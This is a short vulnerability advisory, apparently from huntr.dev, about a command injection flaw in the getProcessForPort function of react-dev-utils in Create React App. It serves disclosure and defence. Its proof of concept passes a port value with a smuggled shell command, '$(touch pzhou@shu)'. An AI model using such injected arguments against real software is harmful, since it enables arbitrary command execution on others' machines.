Lucene search

K
huntrZpbrent1-NPM-REACT-DEV-UTILS
HistoryMar 03, 2021 - 12:00 a.m.

Command Injection in facebook/create-react-app

2021-03-0300:00:00
zpbrent
www.huntr.dev
25

0.002 Low

EPSS

Percentile

64.3%

description

react-dev-utils includes some utilities used by Create React App.

The function getProcessForPort in react-dev-utils is vulnerable to command injection.

PoC

Create a .js file with the content below and run it, then the file pzhou@shu can be illegally created.

var getProcessForPort = require(‘react-dev-utils/getProcessForPort’);

getProcessForPort(‘11;$(touch pzhou@shu)’);

0.002 Low

EPSS

Percentile

64.3%